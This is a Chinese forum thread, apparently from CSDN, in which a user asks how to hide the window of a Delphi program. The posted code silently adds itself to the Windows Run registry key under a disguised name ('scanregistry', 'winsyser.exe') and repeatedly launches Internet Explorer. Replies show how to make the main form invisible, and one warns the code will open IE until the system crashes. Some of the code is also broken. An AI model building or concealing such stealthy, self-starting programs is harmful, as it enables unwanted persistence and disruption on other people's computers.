我有一段delphi代码 现在想把里边的窗口改为隐藏 请专家帮我解答 !
代码是:
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,registry, ExtCtrls, shellapi;type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
reg:tregistry;
hwnd:thandle;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);
begin
//application.showmainform=false 代码说是隐藏 可是还是隐藏不了??? 就这里 希望高手指点!!!谢谢!!
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.writestring('scanregistry','winsyser.exe');
reg.closekey;
reg.free;
end;procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('IEframe',nil);
if hwnd<>0 then
shellexecute(0,'open','iexplore.exe','http://www.baidu.com,'',SW_SHOWNORMAL);
end;end.
代码是:
unit Unit1;interfaceuses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,registry, ExtCtrls, shellapi;type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;var
Form1: TForm1;
reg:tregistry;
hwnd:thandle;implementation{$R *.dfm}procedure TForm1.FormCreate(Sender: TObject);
begin
//application.showmainform=false 代码说是隐藏 可是还是隐藏不了??? 就这里 希望高手指点!!!谢谢!!
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.writestring('scanregistry','winsyser.exe');
reg.closekey;
reg.free;
end;procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('IEframe',nil);
if hwnd<>0 then
shellexecute(0,'open','iexplore.exe','http://www.baidu.com,'',SW_SHOWNORMAL);
end;end.
解决方案 »
- 如何直接在delphi中直接打开access中的OLE对象
- 新来的
- 图片如何合并?(急)
- 原来csdn是由于政治言论而被当局关闭检查的??
- 这 个 SQL 怎么写
- activefrom在分布式开发中的问题
- 用messagedlg时出现的问题
- 请问如何将一幅jpg图片转换成wmf格式,当然是用delphi编程实现
- 关于使用图像扫描twain的问题:哪种twain控件在扫描图片时怎样才不会出现twain扫描对话框?
- Sql的查询问题?
- BDE访问DB2时出错。数据库连接正确,但一点TTable表的表名下拉时就报Access Violation错误。
- 僵哥,我想请问下载delphi下如何写这个函数。
begin
hwnd:=findwindow('IEframe',nil);
if hwnd <>0 then
shellexecute(0,'open','iexplore.exe','http://www.baidu.com','',SW_SHOWNORMAL);
end;
你的代码有问题,这将不停的打开IE,直到系统崩溃
Forms,
Unit1 in 'Unit1.pas' {Form1};{$R *.res}begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
application.ShowMainForm:=false;
Application.Run;
end.
这句要写在工程文件里的(.dpr)
工程文件Project1.dpr代码如下:
program Project1;uses
Forms,
Unit1 in 'Unit1.pas' {Form1};{$R *.res}begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
application.showmainform:=false;
Application.Run;
end.
那是不是这样啊
unit Unit1; interface uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,registry, ExtCtrls, shellapi; type
TForm1 = class(TForm)
Timer1: TTimer;
Label1: TLabel;
Label2: TLabel;
procedure FormCreate(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end; var
Form1: TForm1;
reg:tregistry;
hwnd:thandle; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject);
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
application.showmainform:=false; <------这里改成这样?
reg:=Tregistry.create;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.writestring('scanregistry','winsyser.exe');
reg.closekey;
reg.free;
end; procedure TForm1.Timer1Timer(Sender: TObject);
begin
hwnd:=findwindow('IEframe',nil);
if hwnd <>0 then
shellexecute(0,'open','iexplore.exe','http://www.baidu.com,'',SW_SHOWNORMAL);
end; end.